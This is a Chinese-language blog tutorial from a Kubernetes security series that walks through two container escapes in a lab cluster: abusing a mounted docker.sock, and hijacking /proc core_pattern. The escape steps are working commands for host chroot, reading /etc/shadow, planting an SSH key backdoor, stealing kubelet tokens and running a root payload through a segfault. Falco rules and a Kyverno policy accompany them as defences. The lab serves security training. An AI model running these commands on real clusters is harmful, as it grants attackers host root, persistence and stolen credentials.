iT邦幫忙

2026 iThome 鐵人賽

DAY 10
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 10 篇

Day 10|逃逸第四、五式:Docker.sock + /proc core_pattern

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

T1611 Escape to Host 持續——今天兩種逃逸都利用 Volume 掛載打開通往宿主機的通道。

概覽

場景 逃逸手法 前提條件 風險等級 攻擊難度
S15 Docker.sock 掛載 hostPath mount docker.sock 極高 低
S16 /proc core_pattern privileged + hostPath mount /proc 極高 中

與 Day 8–9 的三種逃逸不同,今天的兩種手法重點在 hostPath Volume 掛載。S15 甚至不需要 privileged: true——只要掛載了 docker.sock,就等同拿到了宿主機 root。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 運行中

# 主機終端
kubectl get pod -n koad escape-docker-sock escape-proc-corepattern

預期結果:

NAME                       READY   STATUS    RESTARTS   AGE
escape-docker-sock         1/1     Running   0          ...
escape-proc-corepattern    1/1     Running   0          ...

如果 Pod 不在 Running 狀態,重新部署:

kubectl apply -f scenarios/privilege-escalation/S15-dind-escape.yaml
kubectl apply -f scenarios/privilege-escalation/S16-proc-escape.yaml
kubectl wait --for=condition=Ready pod/escape-docker-sock pod/escape-proc-corepattern -n koad --timeout=60s

2. 開啟 Falco 即時監控

建議另開一個終端視窗,保持 Falco 日誌持續輸出:

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|docker.sock\|core_pattern\|mount"

在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。

學習目標

完成本日實作後,你將能夠:

  • 解釋 Docker.sock 掛載為何等同宿主機 root 權限
  • 透過 docker.sock 建立特權容器逃逸到宿主機(S15)
  • 利用 /proc core_pattern 管道模式在宿主機上執行指令(S16)
  • 理解 hostPath Volume 的安全風險
  • 觀察 Falco 如何偵測 Docker socket 存取和 core_pattern 修改

S15:Docker.sock 逃逸(第四式)

攻擊原理

Docker daemon 透過 Unix Socket(/var/run/docker.sock)接受指令。如果一個 Pod 掛載了宿主機的 docker.sock,容器內就能直接操作宿主機的 Docker daemon——等同取得宿主機 root 權限。

原理深入:Docker API 的強大

docker.sock 是 Docker Engine API 的入口。透過它可以執行的操作包括:

API 端點 功能 攻擊者用途
GET /containers/json 列出所有容器 偵察同節點容器
POST /containers/create 建立容器 建立特權容器
POST /containers/{id}/start 啟動容器 啟動攻擊容器
GET /images/json 列出映像 找可利用的映像
POST /images/create 拉取映像 拉取攻擊工具
GET /info 系統資訊 取得宿主機 OS、核心版本
POST /exec/{id}/start 在容器中執行 注入指令到其他容器

即使不用 Docker CLI,用 curl 就能直接操作:

# 不需要 docker CLI,用 curl 操作 Docker API
$ curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'
["/k8s_etcd_etcd-minikube_kube-system_..."]
["/k8s_kube-apiserver_kube-apiserver-minikube_..."]

容器內 宿主機

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: escape-docker-sock
  namespace: koad
  labels:
    koad-scenario: S15
    mitre-attck: T1611
    escape-method: docker-sock
spec:
  containers:
    - name: attacker
      image: docker:24-cli       # ← 包含 docker CLI
      command: ["sh", "-c", "sleep infinity"]
      volumeMounts:
        - name: docker-sock
          mountPath: /var/run/docker.sock    # ← 掛載 Docker socket
  volumes:
    - name: docker-sock
      hostPath:
        path: /var/run/docker.sock
        type: Socket

關鍵:hostPath Volume 把宿主機的 /var/run/docker.sock 掛進容器。注意這個 Pod 不需要 privileged: true——光是 docker.sock 就夠了。

YAML 設計解析

image: docker:24-cli           # 刻意選用內建 Docker CLI 的映像
                                # 攻擊者可直接操作 Docker daemon
volumeMounts:
  - mountPath: /var/run/docker.sock   # 將宿主機 Docker socket 掛進容器
volumes:
  - hostPath:
      path: /var/run/docker.sock      # Unix socket = Docker Engine API 入口
      type: Socket                    # 限定只掛載 socket 類型的檔案

此場景刻意不設 privileged: true,展示 hostPath 掛載 docker.sock 本身就等同 root 權限。映像選用 docker:24-cli 模擬 CI/CD runner 環境中常見的 DinD(Docker-in-Docker)配置。type: Socket 在生產中有時被視為「只掛載一個檔案,應該安全」的錯誤認知。

設計理由

S15 模擬 CI/CD Pipeline 中最常見的安全反模式:掛載 docker.sock 來建構映像。GitLab CI、Jenkins、Drone 等工具的文件中經常出現此配置,開發者認為「只是建構映像」而忽略了 docker.sock 等同 root 的事實。Tesla(2018)和 Graboid 蠕蟲(2019)都利用了暴露的 Docker API。此場景讓學員理解:即使沒有 privileged: true,一個 hostPath Volume 就能完成逃逸,並學習 Kaniko、Buildah 等安全替代方案。

踩坑提醒:如果你的叢集使用 containerd 而非 Docker 作為 CRI,/var/run/docker.sock 不存在。containerd 的 socket 在 /run/containerd/containerd.sock,但 API 不同。此場景假設使用 Docker(Minikube Docker driver 預設有 docker.sock)。

攻擊步驟

步驟 1:進入容器

# 主機終端
kubectl exec -it -n koad escape-docker-sock -- sh

預期結果:

/ #

成功進入容器。此映像使用 docker:24-cli,已內建 Docker CLI 工具,可直接操作掛載的 Docker socket。

以下步驟 2–4 都在容器內(escape-docker-sock)執行。

進入 Docker.sock 攻擊 Pod

步驟 2:確認能存取 Docker daemon

# 容器內 (escape-docker-sock)
docker -H unix:///var/run/docker.sock ps

預期結果:

CONTAINER ID   IMAGE          COMMAND   ...
a1b2c3d4e5f6   nginx:latest   ...
f5e4d3c2b1a0   ubuntu:22.04   ...

能列出容器代表 Docker daemon 已回應請求——你現在擁有與宿主機 root 等同的 Docker 操作權限,可以建立、刪除、進入任何容器。

確認 Docker daemon 可存取

步驟 3:列出宿主機的所有容器

docker -H unix:///var/run/docker.sock ps -a | wc -l

預期結果:

42

你現在看到的是節點上的全部容器——包括 kube-system 的系統容器。

列出宿主機容器數量

步驟 4:取得宿主機系統資訊

docker -H unix:///var/run/docker.sock info | head -10

預期結果:

Client: Docker Engine - Community
 Version:    24.0.7
Server:
 Containers: 42
 Running: 38
 Operating System: Ubuntu 22.04.3 LTS
 Kernel Version: 5.15.0-91-generic

這是宿主機的 Docker daemon 資訊,包含 OS 版本和核心版本——攻擊者可以用這些資訊判斷是否有已知核心 CVE 可利用。

取得宿主機系統資訊

步驟 5:建立掛載宿主機根目錄的特權容器

這是最關鍵的一步——建立一個掛載宿主機 / 的容器:

# 容器內 → 建立新特權容器逃逸到宿主機
docker -H unix:///var/run/docker.sock run -it \
    --privileged \
    --pid=host \
    --net=host \
    -v /:/host \
    ubuntu chroot /host

預期結果:

root@minikube:/#

prompt 從容器的 hostname 變成 root@minikube,表示已 chroot 進宿主機的根檔案系統——現在執行的所有指令都直接在 Node 上以 root 身份運行。

Falco 觀察:存取 Docker socket 時,Falco 監控視窗會出現 Critical 告警:

[CRITICAL] KOAD S15 Docker Socket Access (pod=escape-docker-sock command=docker run ...)

驗證已取得宿主機控制權:

cat /etc/hostname

預期結果:

minikube

回傳 minikube 而非容器名稱,確認 chroot 成功——你正在讀取宿主機的 /etc/hostname。

cat /etc/shadow | head -3

預期結果:

root:*:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::

能讀取 /etc/shadow 代表完全取得宿主機 root 權限——這個檔案只有 root 能讀,包含所有使用者的密碼雜湊。

chroot 進入宿主機根目錄

步驟 6:非互動式攻擊(更適合自動化)

讀取宿主機 /etc/shadow:

docker -H unix:///var/run/docker.sock run --rm \
    -v /:/host \
    ubuntu cat /host/etc/shadow

預期結果:

root:*:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
...

非互動模式也能讀取宿主機敏感檔案,適合自動化攻擊腳本——不需要 chroot 互動 shell 就能一次性偷取資料。

寫入 SSH key 實作持久後門:

docker -H unix:///var/run/docker.sock run --rm \
    -v /root/.ssh:/host_ssh \
    ubuntu sh -c 'echo "ssh-rsa AAAA..." >> /host_ssh/authorized_keys'

預期結果:

(無輸出表示成功)

SSH 公鑰已寫入宿主機的 authorized_keys,攻擊者現在可以從外部直接 SSH 登入 Node——即使 Pod 被刪除,後門仍然存在。

讀取 kubelet token:

docker -H unix:///var/run/docker.sock run --rm \
    -v /var/lib/kubelet:/kubelet:ro \
    ubuntu find /kubelet/pods -name token -exec cat {} \;

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6Ii...(SA Token 內容)

取得 kubelet 管理的 Pod SA Token,攻擊者可以用這些 Token 冒充任何 Pod 的 ServiceAccount 存取 API Server——橫向移動的關鍵跳板。

非互動式自動化攻擊

為什麼 CI/CD Pipeline 常見此漏洞

Docker-in-Docker(DinD)是 CI/CD 中常見的模式。Jenkins、GitLab CI 等工具經常掛載 docker.sock 來讓 Pipeline 能建構映像:

# 常見的 CI/CD 配置——這就是攻擊面
# GitLab CI runner 的常見設定
volumes:
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock

# Jenkins Kubernetes Plugin
volumes:
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock

如果 CI/CD Pod 被入侵(例如透過惡意的 Pipeline 腳本、供應鏈攻擊、或 SSRF),攻擊者就能透過 docker.sock 逃逸到節點。

攻擊鏈示意

惡意 PR / 供應鏈攻擊

替代方案:不需要 docker.sock 的映像建構

方案 說明 需要 docker.sock 需要特權 安全性
Kaniko Google 的無 daemon 映像建構工具 否 否 高
Buildah Red Hat 的無 root 建構工具 否 否 高
Docker-in-Docker(真正的 DinD) 容器內跑獨立 Docker daemon 否 是 中
Buildkit Docker 官方的新建構引擎 否 部分 高
掛載 docker.sock 共用宿主機 Docker daemon 是 否 低
# Kaniko:安全的映像建構
apiVersion: v1
kind: Pod
metadata:
  name: kaniko-build
spec:
  containers:
    - name: kaniko
      image: gcr.io/kaniko-project/executor:latest
      args:
        - "--dockerfile=Dockerfile"
        - "--context=git://github.com/org/repo.git"
        - "--destination=registry.example.com/app:latest"
      # 不需要 docker.sock
      # 不需要 privileged
      # 在 user space 建構映像

Falco 偵測

- rule: KOAD S15 Docker Socket Access
  desc: Detect access to Docker socket from container
  condition: >
    (open_read or open_write or connect) and container and
    (fd.name = /var/run/docker.sock or
     fd.name = /run/docker.sock)
  output: >
    Docker socket accessed from container
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     command=%proc.cmdline fd=%fd.name)
  priority: CRITICAL
  tags: [KOAD, T1611, container-escape]

Falco 規則偵測對 /var/run/docker.sock 的 open、read、write 或 connect 系統呼叫。


S16:/proc core_pattern 逃逸(第五式)

攻擊原理

Linux 的 /proc/sys/kernel/core_pattern 定義了程式 crash 時 core dump 的處理方式。如果設定以 | 開頭,核心會把 core dump 通過 pipe 傳給指定的程式執行。

原理深入:core_pattern 的管道模式

正常的 core_pattern:
  core_pattern = core            → 產生 core 檔案
  core_pattern = core.%p.%t      → 帶 PID 和時間戳的 core 檔案

管道模式(攻擊利用的模式):
  core_pattern = |/path/to/handler   → 程式 crash 時執行 handler
  
  核心處理流程:
  1. 程式收到 SIGSEGV(segfault)
  2. 核心讀取 core_pattern
  3. 看到 | 開頭 → 管道模式
  4. 以 root 身份在宿主機 namespace 中執行 handler
  5. 將 core dump 資料通過 stdin 傳給 handler

攻擊流程:

1. 容器掛載宿主機 /proc

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: escape-proc-corepattern
  namespace: koad
  labels:
    koad-scenario: S16
    mitre-attck: T1611
    escape-method: proc-core-pattern
spec:
  containers:
    - name: attacker
      image: ubuntu:22.04
      command: ["sh", "-c", "sleep infinity"]
      securityContext:
        privileged: true          # ← 需要特權才能寫 /proc/sys
      volumeMounts:
        - name: host-proc
          mountPath: /host_proc   # ← 掛載宿主機的 /proc
  volumes:
    - name: host-proc
      hostPath:
        path: /proc               # ← 掛載宿主機的 /proc

S16 需要兩個條件:

  • privileged: true(才能寫入 /proc/sys/kernel/core_pattern)
  • hostPath 掛載 /proc(才能存取宿主機的 /proc)

YAML 設計解析

securityContext:
  privileged: true              # 允許寫入 /proc/sys/kernel/* 核心參數
volumeMounts:
  - mountPath: /host_proc       # 掛載到非標準路徑,避免與容器自身 /proc 衝突
volumes:
  - hostPath:
      path: /proc               # 宿主機核心的虛擬檔案系統
                                # 包含 core_pattern、sysrq-trigger、modprobe 等可寫入的控制介面

此場景結合兩個前提條件:privileged 提供寫入 /proc/sys 的權限,hostPath 掛載 /proc 提供存取路徑。掛載點選用 /host_proc 而非覆蓋 /proc,因為容器自身的 /proc 仍需正常運作。這展示了 hostPath + privileged 組合的加乘危害。

設計理由

S16 展示了另一類不依賴磁碟裝置的逃逸路徑:透過核心提供的 /proc 介面在宿主機執行指令。core_pattern 管道模式是 Linux 核心的正常功能,難以透過 seccomp 完全阻擋。此場景讓學員理解 /proc 不只是「唯讀的系統資訊」,而是包含多個可寫入的核心控制介面(core_pattern、sysrq-trigger、modprobe)。防禦重點不是禁止寫入某個特定檔案,而是從根本上避免 hostPath 掛載 /proc。

攻擊步驟

步驟 1:進入容器

# 主機終端
kubectl exec -it -n koad escape-proc-corepattern -- bash

預期結果:

root@escape-proc-corepattern:/#

以 root 身份進入特權容器,具備完整 capabilities(包括 CAP_SYS_ADMIN),可以寫入 /proc/sys 下的核心參數。

以下步驟 2–8 都在容器內(escape-proc-corepattern)執行。

進入 core_pattern 攻擊 Pod

步驟 2:確認可以讀取宿主機的 /proc

# 容器內 (escape-proc-corepattern)
cat /host_proc/sys/kernel/core_pattern

預期結果:

core

預設值是 core,表示還沒被修改過。

確認 core_pattern 預設值

步驟 3:找到容器的 overlay filesystem 路徑

UPPERDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo $UPPERDIR

預期結果:

/var/lib/docker/overlay2/abc123.../diff

這是容器 overlay filesystem 在宿主機上的實際路徑——容器內寫入的檔案會出現在這個目錄,核心也能透過此路徑存取它們。

取得 overlay upperdir 路徑

步驟 4:建立 payload 腳本

寫入容器的檔案系統 = 寫入宿主機的 overlay:

cat > /tmp/payload.sh << 'PAYLOAD'
#!/bin/bash
id > /tmp/koad-pwned
hostname >> /tmp/koad-pwned
date >> /tmp/koad-pwned
cat /etc/shadow >> /tmp/koad-pwned
PAYLOAD
chmod +x /tmp/payload.sh

預期結果:

(無輸出表示成功)

payload 已寫入容器的 /tmp 目錄,但因為 overlay filesystem 的特性,宿主機可以透過 $UPPERDIR/tmp/payload.sh 路徑存取這個檔案。

建立 payload 腳本

步驟 5:覆寫 core_pattern

echo "|$UPPERDIR/tmp/payload.sh" > /host_proc/sys/kernel/core_pattern

預期結果:

(無輸出表示成功)

core_pattern 已被覆寫為管道模式,指向攻擊者的 payload 腳本——下次任何程式 crash 時,核心會以 root 權限執行這個腳本。

Falco 觀察:修改 core_pattern 時,Falco 監控視窗應該出現 Critical 告警:

[CRITICAL] KOAD S16 Core Pattern Modified (pod=escape-proc-corepattern command=...)

步驟 6:確認 core_pattern 已被修改

cat /host_proc/sys/kernel/core_pattern

預期結果:

|/var/lib/docker/overlay2/abc123.../diff/tmp/payload.sh

開頭的 | 表示管道模式已生效——核心會把 core dump 通過 pipe 傳給這個路徑的腳本,而非寫入 core 檔案。

core_pattern 已被修改為 payload 路徑

步驟 7:觸發 segfault

python3 -c 'import ctypes; ctypes.string_at(0)'

預期結果:

Segmentation fault (core dumped)

core dumped 表示核心已處理這個 crash——因為 core_pattern 被設為管道模式,核心會在宿主機上以 root 執行 payload.sh,完成逃逸。

觸發 segfault 執行 payload

步驟 8:等待並驗證結果

sleep 2

核心會以 root 權限在宿主機上執行 payload.sh。需要透過 nsenter 或另一個 Pod 掛載 /tmp 來確認結果。

驗證 core_pattern 逃逸結果

踩坑提醒:觸發 segfault 的方式有很多。python3 -c 'import ctypes; ctypes.string_at(0)' 在某些映像中可能沒有 python3。替代方案:

  • kill -SIGSEGV $$(直接對自己發 SIGSEGV)
  • 編譯一個 C 程式:echo 'int main(){*(int*)0=0;}' > /tmp/seg.c && gcc /tmp/seg.c -o /tmp/seg && /tmp/seg
  • sleep 99999 &; kill -SEGV $!(對背景 process 發 SIGSEGV)

為什麼 /proc 不該被掛載

/proc 是 Linux 核心的虛擬檔案系統,包含了整個系統的狀態資訊。掛載宿主機的 /proc 到容器裡,等於把核心的控制介面交給了容器內的使用者。

可以透過 /proc 存取的危險檔案:

路徑 功能 風險
/proc/sys/kernel/core_pattern Core dump 處理程式 任意指令執行(S16)
/proc/sysrq-trigger 核心 SysRq 指令 重啟、強制關機、OOM kill
/proc/sys/kernel/modprobe 模組載入程式路徑 載入惡意核心模組
/proc/kcore 核心記憶體映射 讀取記憶體中的密碼、加密金鑰
/proc/sys/vm/panic_on_oom OOM 行為 可以讓系統 panic
/proc/sys/kernel/hostname 主機名稱 資訊洩漏

modprobe_path:另一個 /proc 逃逸向量

除了 core_pattern,/proc/sys/kernel/modprobe 也可以被用來逃逸:

# modprobe_path 攻擊(概念,需要特定條件)
# 當核心需要載入模組時,會執行 modprobe_path 指定的程式
$ echo "$UPPERDIR/evil_modprobe.sh" > /host_proc/sys/kernel/modprobe

# 觸發模組載入(例如存取一個不認識的 binary format)
$ echo -ne '\x00\x00\x00\x00' > /tmp/trigger
$ chmod +x /tmp/trigger
$ /tmp/trigger  # → 核心嘗試載入 binfmt handler → 執行 evil_modprobe.sh

Falco 偵測

- rule: KOAD S16 Core Pattern Modified
  desc: Detect modification of core_pattern (container escape)
  condition: >
    open_write and container and
    fd.name = /proc/sys/kernel/core_pattern
  output: >
    Core pattern modified in container
    (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
     command=%proc.cmdline)
  priority: CRITICAL
  tags: [KOAD, T1611, container-escape]

同時偵測 modprobe_path 修改:

- rule: KOAD Kernel Modprobe Path Modified
  desc: Detect modification of modprobe path
  condition: >
    open_write and container and
    fd.name = /proc/sys/kernel/modprobe
  output: >
    Kernel modprobe path modified
    (container=%container.name pod=%k8s.pod.name
     command=%proc.cmdline)
  priority: CRITICAL
  tags: [KOAD, T1611, container-escape]

兩種逃逸的共通點

項目 S15 Docker.sock S16 /proc core_pattern
前提 hostPath Volume hostPath Volume + privileged
需要 privileged 否 是
利用的物件 Docker daemon socket Linux 核心設定檔
逃逸方式 建立新特權容器 改寫核心處理程式
根因 不當的 Volume 掛載 不當的 Volume 掛載 + 特權
隱蔽性 低(新容器明顯) 中(利用合法核心機制)
偵測 Falco socket access Falco /proc write
防禦 禁止 hostPath 禁止 hostPath + 禁止 privileged

共通的防禦:禁止 hostPath Volume。 Kyverno 的 koad-block-hostpath 策略可以攔截所有嘗試掛載 hostPath 的 Pod。

Kyverno 阻擋 hostPath 策略

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: koad-block-hostpath
spec:
  validationFailureAction: Audit
  rules:
    - name: deny-hostpath
      match:
        any:
          - resources:
              kinds: ["Pod"]
      validate:
        message: "hostPath volumes are not allowed"
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

對應 K8s Goat

KOAD K8s Goat 說明
S15 Scenario 2 Docker.sock mount exploitation
S16 — K8s Goat 未包含 core_pattern 逃逸

K8s Goat 的 Scenario 2 也是 docker.sock 逃逸,但 KOAD 增加了 Falco 偵測規則和 Kyverno 策略的防禦對照。


CKS 考點

考點 本日內容 權重
hostPath 風險 S15, S16 都利用 hostPath Volume System Hardening 10%
容器安全配置 privileged=false, readOnlyRootFilesystem Minimize Microservice 20%
CI/CD 安全 Docker.sock 替代方案(Kaniko/Buildah) Supply Chain 20%

CKS 模擬題

題目:審計叢集中所有使用 hostPath Volume 的 Pod,並建立 Kyverno 策略阻擋新的 hostPath Pod。

# Step 1:找出所有使用 hostPath 的 Pod
kubectl get pods -A -o json | \
  jq -r '.items[] | select(
    .spec.volumes[]? | has("hostPath")
  ) | [.metadata.namespace, .metadata.name,
    (.spec.volumes[] | select(has("hostPath")) | .hostPath.path)] | @tsv'

# 預期輸出:
# kube-system    kube-proxy-xxx    /lib/modules
# calico-system  calico-node-xxx   /opt/cni/bin
# koad           escape-docker-sock /var/run/docker.sock

# Step 2:套用 Kyverno 策略(先 Audit)
kubectl apply -f koad-block-hostpath.yaml

# Step 3:驗證策略
kubectl run test --image=busybox -n default \
  --overrides='{"spec":{"volumes":[{"name":"v","hostPath":{"path":"/"}}],
  "containers":[{"name":"t","image":"busybox","volumeMounts":
  [{"name":"v","mountPath":"/host"}]}]}}'
# Audit mode: Pod created but violation logged
# Enforce mode: Error from server

清理與重設

完成攻擊演練後,清理環境:

# →如果還在 docker.sock 建立的 chroot 容器中
exit                    # 離開 chroot 容器

# escape-docker-sock 容器內:清理建立的容器
docker -H unix:///var/run/docker.sock ps -a --filter "ancestor=ubuntu" -q | \
  xargs docker -H unix:///var/run/docker.sock rm -f 2>/dev/null
exit                    # 離開容器

# escape-proc-corepattern 容器內:還原 core_pattern
echo "core" > /host_proc/sys/kernel/core_pattern
exit                    # 離開容器

如果需要完全重設 Pod 環境:

# 主機終端
kubectl delete pod -n koad escape-docker-sock escape-proc-corepattern
kubectl apply -f scenarios/privilege-escalation/S15-dind-escape.yaml
kubectl apply -f scenarios/privilege-escalation/S16-proc-escape.yaml

重要:務必還原 core_pattern。如果遺留 payload 路徑,宿主機上任何程式 crash 都會嘗試執行該腳本。


真實環境 vs KOAD 靶場

面向 KOAD 靶場 真實生產環境
/proc 掛載 容器可直接存取 Host /proc 生產環境可能有 AppArmor/SELinux 限制 /proc 存取
Seccomp Profile 通常未啟用 生產環境的 Container Runtime 可能有預設 Seccomp Profile
Node 隔離 攻擊者逃逸後就在 Minikube Node 上 生產環境逃逸後仍在 VM/實體機上,可能還有主機層防護

/proc 逃逸在 KOAD 中很直觀,但真實環境中 Container Runtime 的安全設定會顯著影響可行性。


本日小結

你完成了什麼

  • [x] 透過 docker.sock 列出宿主機所有容器
  • [x] 取得宿主機系統資訊(OS、核心版本)
  • [x] 建立掛載宿主機 / 的特權容器,chroot 取得 root(S15)
  • [x] 非互動式自動化攻擊(讀取 shadow、寫入 SSH key、竊取 SA Token)
  • [x] 找到 overlay upperdir 路徑,建立 payload 腳本(S16)
  • [x] 覆寫 core_pattern 為管道模式,觸發 segfault 完成逃逸
  • [x] 觀察 Falco 偵測 Docker socket 存取和 core_pattern 修改

完成度自我檢查

  • [ ] 能執行 S15 透過 docker.sock 列出宿主機容器並建立掛載 / 的特權容器
  • [ ] 能解釋為什麼 docker.sock 掛載不需要 privileged: true 也能逃逸
  • [ ] 能執行 S16 找到 overlay upperdir 路徑並覆寫 core_pattern 完成逃逸
  • [ ] 能說出 Docker.sock 逃逸與 core_pattern 逃逸的前提條件差異
  • [ ] 能列舉 Docker.sock 的安全替代方案(Kaniko、Buildah)
  • [ ] 觀察到 Falco 偵測 Docker socket 存取和 core_pattern 修改的告警

關鍵帶走

  1. Docker.sock:掛載 Docker socket = 直接控制宿主機 Docker daemon = 建立新特權容器逃逸。不需要 privileged 模式,是 CI/CD Pipeline 中最常見的逃逸向量。
  2. /proc core_pattern:掛載宿主機 /proc + 特權模式 = 改寫核心處理程式 = segfault 觸發宿主機指令執行。
  3. 兩種手法的根因都是 hostPath Volume 掛載了不該掛載的檔案。

下一步

明天 Day 11 是逃逸系列的最後一篇——SYS_PTRACE + HostPID process 注入,以及 Dirty Pipe 核心 CVE 提權。



上一篇
Day 9|逃逸第二、三式:Cgroup release_agent + lxcfs
下一篇
Day 11|逃逸第六式 + 核心 CVE:SYS_PTRACE 注入 + Dirty Pipe
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 12 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言